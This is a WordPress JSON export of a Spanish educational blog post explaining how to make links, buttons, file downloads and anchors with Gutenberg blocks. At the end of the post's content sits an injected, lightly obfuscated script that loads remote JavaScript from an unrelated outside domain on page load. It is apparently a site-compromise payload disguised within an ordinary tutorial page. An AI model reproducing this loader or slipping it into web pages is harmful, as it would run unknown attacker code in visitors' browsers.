{"id":457,"date":"2021-03-09T11:00:00","date_gmt":"2021-03-09T11:00:00","guid":{"rendered":"https:\/\/blogsfad.educacion.navarra.es\/pmartiaf\/?p=457"},"modified":"2025-10-21T17:00:39","modified_gmt":"2025-10-21T17:00:39","slug":"enlaces","status":"publish","type":"post","link":"https:\/\/blogsfad.educacion.navarra.es\/pmartiaf\/enlaces\/","title":{"rendered":"Bloques Gutenberg \u2013 enlaces"},"content":{"rendered":"\n<p id=\"ancla0\"><a class=\"ek-link ek-link ek-link\" href=\"#ancla1\">Enlaces en textos<\/a> | <a class=\"ek-link\" href=\"#ancla2\">Enlace en im\u00e1genes<\/a> | <a class=\"ek-link\" href=\"#ancla3\">Bot\u00f3n <\/a>| <a class=\"ek-link\" href=\"#ancla4\">Archivo <\/a>| <a href=\"#ancla5\" class=\"ek-link\">Anclajes<\/a><\/p>\n\n\n\n<p>Existen diferentes opciones para crear enlaces o hiperv\u00ednculos. Por un lado los podemos incluir en los propios bloques de texto o en im\u00e1genes, pero tambi\u00e9n pueden crearse mediante el bloque de Bot\u00f3n y el de Archivo,<\/p>\n\n\n\n<div style=\"background-color:#f2f2f2;padding-left:2%;padding-right:2%;padding-bottom:5%;padding-top:5%;margin-top:1%\" class=\"wp-block-genesis-blocks-gb-container gb-block-container\"><div class=\"gb-container-inside\"><div class=\"gb-container-content\">\n\n<h3 id=\"ancla1\">Enlaces en textos<\/h3>\n\n\n<p class=\"has-ek-indent\" style=\"--ek-indent:20px\">Al trabajar con bloques de texto, encontramos en la barra de diferentes opciones de configuraci\u00f3n en la que se incluye la posibilidad de crear un <span class=\"has-inline-color has-theme-secondary-color\">Enlace o Link<\/span>.<\/p>\n\n\n<div class=\"wp-block-image\"><figure class=\"alignleft size-large\"><img loading=\"lazy\" width=\"335\" height=\"138\" src=\"https:\/\/blogsfad.educacion.navarra.es\/pmartiaf\/files\/2020\/10\/link-opciones.png\" alt=\"\" class=\"wp-image-460\" srcset=\"https:\/\/blogsfad.educacion.navarra.es\/pmartiaf\/files\/2020\/10\/link-opciones.png 335w, https:\/\/blogsfad.educacion.navarra.es\/pmartiaf\/files\/2020\/10\/link-opciones-300x124.png 300w\" sizes=\"(max-width: 335px) 100vw, 335px\" \/><\/figure><\/div>\n\n\n<p>Este icono nos permite indicar la URL de la p\u00e1gina Web, archivo, imagen&#8230; a la que queremos acceder y nos permite tambi\u00e9n indicar si deseamos que se abra en otra pesta\u00f1a.<\/p>\n\n\n<p>Es aconsejable, que siempre que siempre que queramos acceder a un contenido, ajeno a nuestro sitio Web, indiquemos que el enlace se abra en otra pesta\u00f1a, para mantener nuestro sitio abierto en el navegador del usuario\/a.<\/p>\n\n\n<p>La opci\u00f3n <em>No Follow,<\/em> indica a los los motores de b\u00fasqueda que no indexen ese destino desde nuestra Web. Para saber m\u00e1s sobre este atributo pincha <a aria-label=\"aqu\u00ed (opens in a new tab)\" href=\"https:\/\/www.sumate.eu\/blog\/relnofollow-enlaces\/\" target=\"_blank\" rel=\"noreferrer noopener\" class=\"ek-link\">aqu\u00ed<\/a>.<\/p>\n\n\n<p>Se recomienda activar la opci\u00f3n <em>Sponsored <\/em>, cuando el enlace nos lleva a un Link publicitario. <\/p>\n\n\n<blockquote class=\"wp-block-quote\"><p>Google recomienda&nbsp;<strong>usar<\/strong>&nbsp;este atributo para marcar todos aquellos enlaces que son parte de una acci\u00f3n publicitaria, un patrocinio o cualquier otro \u201cacuerdo de compensaci\u00f3n\u201d. El enlace hacia la web o el producto anunciado en un post patrocinado es el ejemplo perfecto de uso para este atributo.<\/p><cite><a href=\"https:\/\/useo.es\/ugc-sponsored-nofollow\/\" target=\"_blank\" aria-label=\"https:\/\/useo.es\/ugc-sponsored-nofollow (opens in a new tab)\" rel=\"noreferrer noopener\" class=\"ek-link\">https:\/\/useo.es\/ugc-sponsored-nofollow<\/a><\/cite><\/blockquote>\n\n<\/div><\/div><\/div>\n\n\n\n<div style=\"height:30px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<hr class=\"wp-block-separator has-text-color has-background has-theme-primary-background-color has-theme-primary-color is-style-default\"\/>\n\n\n\n<div class=\"wp-block-columns is-style-default\">\n<div class=\"wp-block-column\">\n<h3>Columna 1<\/h3>\n\n\n\n<p>Texto de p\u00e1rrafo<\/p>\n<\/div>\n\n\n\n<div class=\"wp-block-column\">\n<h3>Columna 2<\/h3>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img loading=\"lazy\" src=\"https:\/\/blogsfad.educacion.navarra.es\/pmartiaf\/files\/2021\/03\/siy-qptqhpc-683x1024.jpg\" alt=\"woman in blue bikini drinking from white and blue labeled can\" class=\"wp-image-695\" width=\"346\" height=\"518\" srcset=\"https:\/\/blogsfad.educacion.navarra.es\/pmartiaf\/files\/2021\/03\/siy-qptqhpc-683x1024.jpg 683w, https:\/\/blogsfad.educacion.navarra.es\/pmartiaf\/files\/2021\/03\/siy-qptqhpc-200x300.jpg 200w, https:\/\/blogsfad.educacion.navarra.es\/pmartiaf\/files\/2021\/03\/siy-qptqhpc-768x1152.jpg 768w, https:\/\/blogsfad.educacion.navarra.es\/pmartiaf\/files\/2021\/03\/siy-qptqhpc-1024x1536.jpg 1024w, https:\/\/blogsfad.educacion.navarra.es\/pmartiaf\/files\/2021\/03\/siy-qptqhpc-1365x2048.jpg 1365w, https:\/\/blogsfad.educacion.navarra.es\/pmartiaf\/files\/2021\/03\/siy-qptqhpc-scaled.jpg 1707w\" sizes=\"(max-width: 346px) 100vw, 346px\" \/><\/figure>\n<\/div>\n<\/div>\n\n\n\n<div style=\"background-color:#f2f2f2;padding-left:2%;padding-right:2%;padding-bottom:5%;padding-top:5%;margin-top:1%\" class=\"wp-block-genesis-blocks-gb-container gb-block-container\"><div class=\"gb-container-inside\"><div class=\"gb-container-content\">\n\n<h3 id=\"ancla2\">Enlace en im\u00e1genes<\/h3>\n\n\n<div class=\"wp-block-image\"><figure class=\"alignleft size-large is-resized\"><a href=\"https:\/\/blogsfad.educacion.navarra.es\/pmartiaf\/?attachment_id=461\"><img loading=\"lazy\" src=\"https:\/\/blogsfad.educacion.navarra.es\/pmartiaf\/files\/2020\/10\/link-img.png\" alt=\"\" class=\"wp-image-461\" width=\"337\" height=\"103\" srcset=\"https:\/\/blogsfad.educacion.navarra.es\/pmartiaf\/files\/2020\/10\/link-img.png 337w, https:\/\/blogsfad.educacion.navarra.es\/pmartiaf\/files\/2020\/10\/link-img-300x92.png 300w\" sizes=\"(max-width: 337px) 100vw, 337px\" \/><\/a><\/figure><\/div>\n\n\n<p>Cuando creamos un Link en una imagen, nos da tres opciones: <\/p>\n\n\n<ul><li>URL<\/li><li>Archivo de medios: abre la imagen de forma aislada<\/li><li>P\u00e1gina de adjunto: abre la imagen integrada en el entorno de la web<\/li><\/ul>\n\n\n<p>Al igual que en el caso anterior, podemos forzar que el enlace se  abra en otra pesta\u00f1a.<\/p>\n\n<\/div><\/div><\/div>\n\n\n\n<div style=\"height:30px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<hr class=\"wp-block-separator has-text-color has-background has-theme-primary-background-color has-theme-primary-color is-style-default\"\/>\n\n\n\n<div style=\"background-color:#f2f2f2;padding-left:2%;padding-right:2%;padding-bottom:5%;padding-top:5%;margin-top:1%\" class=\"wp-block-genesis-blocks-gb-container gb-block-container\"><div class=\"gb-container-inside\"><div class=\"gb-container-content\">\n\n<h3 id=\"ancla3\">Bot\u00f3n<\/h3>\n\n\n<p>Para a\u00f1adir botones personalizables. Al igual que en el caso del Separador, su apariencia depender\u00e1 del tema, aunque s\u00ed podemos modificar ciertas caracter\u00edsticas.<\/p>\n\n\n<div class=\"wp-container-1 wp-block-buttons\">\n\n<div class=\"wp-block-button is-style-outline\"><a class=\"wp-block-button__link\">Bot\u00f3n 1<\/a><\/div>\n\n\n<div class=\"wp-block-button\"><a class=\"wp-block-button__link\" style=\"border-radius:20px\">Bot\u00f3n 2<\/a><\/div>\n\n\n<div class=\"wp-block-button\"><a class=\"wp-block-button__link has-theme-primary-background-color has-background\">Bot\u00f3n 3<\/a><\/div>\n\n\n<div class=\"wp-block-button is-style-outline\"><a class=\"wp-block-button__link has-theme-primary-background-color has-text-color has-background\" style=\"border-radius:50px;color:#000606\">Bot\u00f3n 4<\/a><\/div>\n\n<\/div>\n\n\n<p>Del mismo modo que en los dos casos anteriores, podemos forzar que el enlace se abra en otra pesta\u00f1a.<\/p>\n\n<\/div><\/div><\/div>\n\n\n\n<div style=\"height:30px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<hr class=\"wp-block-separator has-text-color has-background has-theme-primary-background-color has-theme-primary-color is-style-default\"\/>\n\n\n\n<div style=\"background-color:#f2f2f2;padding-left:2%;padding-right:2%;padding-bottom:5%;padding-top:5%;margin-top:1%\" class=\"wp-block-genesis-blocks-gb-container gb-block-container\"><div class=\"gb-container-inside\"><div class=\"gb-container-content\">\n\n<h3 id=\"ancla4\">Archivo<\/h3>\n\n\n<p>Permite crear un enlace de descarga directo a un archivo. Se puede configurar para que muestre, o no, el bot\u00f3n.<\/p>\n\n\n<div class=\"wp-block-file\"><a href=\"https:\/\/blogsfad.educacion.navarra.es\/pmartiaf\/files\/2020\/10\/Uso-basico-WordPress_-generacion-de-entradas-.pdf\" target=\"_blank\" rel=\"noreferrer noopener\">Contenidos Curso WP<\/a><a href=\"https:\/\/blogsfad.educacion.navarra.es\/pmartiaf\/files\/2020\/10\/Uso-basico-WordPress_-generacion-de-entradas-.pdf\" class=\"wp-block-file__button\" download=\"\">Descarga<\/a><\/div>\n\n<\/div><\/div><\/div>\n\n\n\n<div style=\"height:30px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<hr class=\"wp-block-separator has-text-color has-background has-theme-primary-background-color has-theme-primary-color is-style-default\"\/>\n\n\n\n<h3 id=\"ancla5\">Anclajes<\/h3>\n\n\n\n<p>En art\u00edculos con mucho contenido, en el que hay mucho desplazamiento vertical, es conveniente incluir opciones de navegaci\u00f3n interna.<\/p>\n\n\n\n<p>Para poder hacer esto necesitamos seguir unos peque\u00f1os pasos:<\/p>\n\n\n\n<ol><li><strong>Indicar los puntos de anclaje,<\/strong> es decir los lugares concretos del contenido, que servir\u00e1n de destino a los Links.<br>Para ello, seleccionaremos, normalmente el texto marcado como <span class=\"has-inline-color has-theme-secondary-color\">Encabezado <\/span>de cada secci\u00f3n de las diferentes partes del art\u00edculo, y le pondremos un <em>\u00abancla\u00bb<\/em> con un identificador, en las propiedades<span class=\"has-inline-color has-theme-secondary-color\"> Avanzadas del Bloque<\/span>.<\/li><\/ol>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" width=\"220\" height=\"232\" src=\"https:\/\/blogsfad.educacion.navarra.es\/pmartiaf\/files\/2020\/10\/ancla.png\" alt=\"\" class=\"wp-image-465\"\/><\/figure>\n\n\n\n<ol start=\"2\"><li><strong>Seleccionar el texto o imagen <\/strong>al que se le va a aplicar el Link. En el campo en el que incluir la URL, le pondremos el car\u00e1cter almohadilla y el nombre que hayamos proporcionado al anclaje:<span class=\"has-inline-color has-theme-secondary-color\"> #ancla5<\/span>, tal y como se ha hecho en men\u00fa de navegaci\u00f3n que se ha icluido al comienzo de este art\u00edculo.<\/li><\/ol>\n\n\n\n<p><em><span style=\"background-color:#dbdbdb\" class=\"has-inline-background\">Existe una tendencia <a aria-label=\"&quot;single page&quot;, (opens in a new tab)\" href=\"https:\/\/saobranding.com\/sitios-web-de-una-sola-pagina-o-de-varias-cual-es-la-mejor-para-tu-proyecto\/\" target=\"_blank\" rel=\"noreferrer noopener\" class=\"ek-link\">\u00absingle page\u00bb,<\/a> sitios web de una sola p\u00e1gina. Sitios Webs de contenido no muy estructurado, pensados en hacer una navegaci\u00f3n m\u00e1s c\u00f3moda para dispositivos m\u00f3viles. <\/span><\/em><\/p>\n\n\n\n<p class=\"has-text-align-right\"><a href=\"#ancla0\" class=\"ek-link\">Subir<\/a><\/p>\n<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script>","protected":false},"excerpt":{"rendered":"<p>Existen diferentes opciones para crear enlaces o hiperv\u00ednculos. Por un lado los podemos incluir en los propios bloques de texto o en im\u00e1genes, pero tambi\u00e9n pueden crearse mediante el bloque de Bot\u00f3n y el de Archivo,<\/p>\n","protected":false},"author":605,"featured_media":458,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_editorskit_title_hidden":false,"_editorskit_reading_time":2,"_editorskit_is_block_options_detached":false,"_editorskit_block_options_position":"{}","_genesis_hide_title":false,"_genesis_hide_breadcrumbs":false,"_genesis_hide_singular_image":false,"_genesis_hide_footer_widgets":false,"_genesis_custom_body_class":"","_genesis_custom_post_class":"","_genesis_layout":""},"categories":[31],"tags":[24,30,23],"_links":{"self":[{"href":"https:\/\/blogsfad.educacion.navarra.es\/pmartiaf\/wp-json\/wp\/v2\/posts\/457"}],"collection":[{"href":"https:\/\/blogsfad.educacion.navarra.es\/pmartiaf\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blogsfad.educacion.navarra.es\/pmartiaf\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blogsfad.educacion.navarra.es\/pmartiaf\/wp-json\/wp\/v2\/users\/605"}],"replies":[{"embeddable":true,"href":"https:\/\/blogsfad.educacion.navarra.es\/pmartiaf\/wp-json\/wp\/v2\/comments?post=457"}],"version-history":[{"count":0,"href":"https:\/\/blogsfad.educacion.navarra.es\/pmartiaf\/wp-json\/wp\/v2\/posts\/457\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blogsfad.educacion.navarra.es\/pmartiaf\/wp-json\/wp\/v2\/media\/458"}],"wp:attachment":[{"href":"https:\/\/blogsfad.educacion.navarra.es\/pmartiaf\/wp-json\/wp\/v2\/media?parent=457"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blogsfad.educacion.navarra.es\/pmartiaf\/wp-json\/wp\/v2\/categories?post=457"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blogsfad.educacion.navarra.es\/pmartiaf\/wp-json\/wp\/v2\/tags?post=457"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}